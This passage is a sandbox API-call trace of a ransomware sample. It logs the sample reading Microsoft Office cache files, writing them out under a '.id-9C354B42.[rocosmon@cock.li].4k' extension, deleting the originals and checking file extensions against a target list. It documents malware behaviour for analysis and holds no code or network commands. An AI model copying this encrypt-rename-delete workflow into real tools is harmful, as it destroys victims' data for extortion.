	[0090.512] CloseHandle (hObject=0x170) returned 1
	[0091.141] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.141] SetEndOfFile (hFile=0x164) returned 1
	[0091.767] CloseHandle (hObject=0x164) returned 1
	[0091.767] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.767] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1
	[0091.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.768] lstrlenW (lpString=".doc") returned 4
	[0091.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.768] lstrlenW (lpString=".docx") returned 5
	[0091.768] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0091.768] lstrlenW (lpString=".pdf") returned 4
	[0091.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.768] lstrlenW (lpString=".xls") returned 4
	[0091.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.768] lstrlenW (lpString=".xlsx") returned 5
	[0091.768] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0091.768] lstrlenW (lpString=".ppt") returned 4
	[0091.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.768] lstrlenW (lpString=".zip") returned 4
	[0091.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.769] lstrlenW (lpString=".rar") returned 4
	[0091.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.769] lstrlenW (lpString=".bz2") returned 4
	[0091.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.769] lstrlenW (lpString=".7z") returned 3
	[0091.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.769] lstrlenW (lpString=".dbf") returned 4
	[0091.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.769] lstrlenW (lpString=".1cd") returned 4
	[0091.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.769] lstrlenW (lpString=".jpg") returned 4
	[0091.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.770] lstrlenW (lpString=".doc") returned 4
	[0091.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0091.770] lstrlenW (lpString=".docx") returned 5
	[0091.770] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0091.770] lstrlenW (lpString=".pdf") returned 4
	[0091.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0091.770] lstrlenW (lpString=".xls") returned 4
	[0091.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0091.770] lstrlenW (lpString=".xlsx") returned 5
	[0091.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0091.770] lstrlenW (lpString=".ppt") returned 4
	[0091.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0091.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.770] lstrlenW (lpString=".zip") returned 4
	[0091.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0091.770] lstrlenW (lpString=".rar") returned 4
	[0091.770] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0091.770] lstrlenW (lpString=".bz2") returned 4
	[0091.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0091.771] lstrlenW (lpString=".7z") returned 3
	[0091.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0091.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.771] lstrlenW (lpString=".dbf") returned 4
	[0091.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0091.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.771] lstrlenW (lpString=".1cd") returned 4
	[0091.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0091.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76
	[0091.771] lstrlenW (lpString=".jpg") returned 4
	[0091.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0091.771] lstrcmpiW (lpString1=".chm", lpString2=".4k") returned 1
	[0091.771] lstrlenW (lpString="setup.chm") returned 9
	[0091.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.004] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=67190) returned 1
	[0093.004] CloseHandle (hObject=0x19c) returned 1
	[0093.004] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020
	[0093.004] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.004] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.005] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.005] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.005] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.005] GetLastError () returned 0x0
	[0093.005] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x10676, lpOverlapped=0x0) returned 1
	[0093.030] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x10680, lpOverlapped=0x0) returned 1
	[0093.032] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.032] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.032] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.033] CloseHandle (hObject=0x1cc) returned 1
	[0093.035] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.035] SetEndOfFile (hFile=0x19c) returned 1
	[0093.037] CloseHandle (hObject=0x19c) returned 1
	[0093.037] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.037] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1
	[0093.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.037] lstrlenW (lpString=".doc") returned 4
	[0093.037] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0093.037] lstrlenW (lpString=".docx") returned 5
	[0093.038] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1
	[0093.038] lstrlenW (lpString=".pdf") returned 4
	[0093.038] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString=".xls") returned 4
	[0093.038] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString=".xlsx") returned 5
	[0093.038] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1
	[0093.038] lstrlenW (lpString=".ppt") returned 4
	[0093.038] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.038] lstrlenW (lpString=".zip") returned 4
	[0093.038] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString=".rar") returned 4
	[0093.038] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString=".bz2") returned 4
	[0093.038] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0093.038] lstrlenW (lpString=".7z") returned 3
	[0093.038] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0093.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.038] lstrlenW (lpString=".dbf") returned 4
	[0093.038] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0093.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.038] lstrlenW (lpString=".1cd") returned 4
	[0093.038] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0093.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.038] lstrlenW (lpString=".jpg") returned 4
	[0093.038] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString=".doc") returned 4
	[0093.039] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString=".docx") returned 5
	[0093.039] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1
	[0093.039] lstrlenW (lpString=".pdf") returned 4
	[0093.039] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString=".xls") returned 4
	[0093.039] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString=".xlsx") returned 5
	[0093.039] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1
	[0093.039] lstrlenW (lpString=".ppt") returned 4
	[0093.039] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString=".zip") returned 4
	[0093.039] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString=".rar") returned 4
	[0093.039] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString=".bz2") returned 4
	[0093.039] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0093.039] lstrlenW (lpString=".7z") returned 3
	[0093.039] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString=".dbf") returned 4
	[0093.039] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString=".1cd") returned 4
	[0093.039] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0093.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0093.039] lstrlenW (lpString=".jpg") returned 4
	[0093.039] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0093.040] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.040] lstrlenW (lpString="ProPlusrWW.xml") returned 14
	[0093.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.052] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=16852) returned 1
	[0093.052] CloseHandle (hObject=0x19c) returned 1
	[0093.052] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020
	[0093.052] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.052] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.052] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.052] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.052] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.053] GetLastError () returned 0x0
	[0093.053] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x41d4, lpOverlapped=0x0) returned 1
	[0093.075] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x41e0, lpOverlapped=0x0) returned 1
	[0093.077] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.077] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0093.077] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.077] CloseHandle (hObject=0x1cc) returned 1
	[0093.079] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.079] SetEndOfFile (hFile=0x19c) returned 1
	[0093.080] CloseHandle (hObject=0x19c) returned 1
	[0093.080] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.081] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1
	[0093.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.081] lstrlenW (lpString=".doc") returned 4
	[0093.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.081] lstrlenW (lpString=".docx") returned 5
	[0093.081] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.081] lstrlenW (lpString=".pdf") returned 4
	[0093.081] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.081] lstrlenW (lpString=".xls") returned 4
	[0093.081] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.081] lstrlenW (lpString=".xlsx") returned 5
	[0093.081] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.081] lstrlenW (lpString=".ppt") returned 4
	[0093.081] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.081] lstrlenW (lpString=".zip") returned 4
	[0093.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.082] lstrlenW (lpString=".rar") returned 4
	[0093.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString=".bz2") returned 4
	[0093.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString=".7z") returned 3
	[0093.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString=".dbf") returned 4
	[0093.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString=".1cd") returned 4
	[0093.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString=".jpg") returned 4
	[0093.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString=".doc") returned 4
	[0093.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString=".docx") returned 5
	[0093.082] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.082] lstrlenW (lpString=".pdf") returned 4
	[0093.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString=".xls") returned 4
	[0093.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString=".xlsx") returned 5
	[0093.082] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.082] lstrlenW (lpString=".ppt") returned 4
	[0093.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.082] lstrlenW (lpString=".zip") returned 4
	[0093.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.083] lstrlenW (lpString=".rar") returned 4
	[0093.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.083] lstrlenW (lpString=".bz2") returned 4
	[0093.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.083] lstrlenW (lpString=".7z") returned 3
	[0093.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.083] lstrlenW (lpString=".dbf") returned 4
	[0093.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.083] lstrlenW (lpString=".1cd") returned 4
	[0093.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0093.083] lstrlenW (lpString=".jpg") returned 4
	[0093.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.083] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.083] lstrlenW (lpString="PrjProrWW.xml") returned 13
	[0093.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.085] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=6421) returned 1
	[0093.085] CloseHandle (hObject=0x19c) returned 1
	[0093.085] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020
	[0093.085] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.085] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.086] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.086] GetLastError () returned 0x0
	[0093.086] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x1915, lpOverlapped=0x0) returned 1
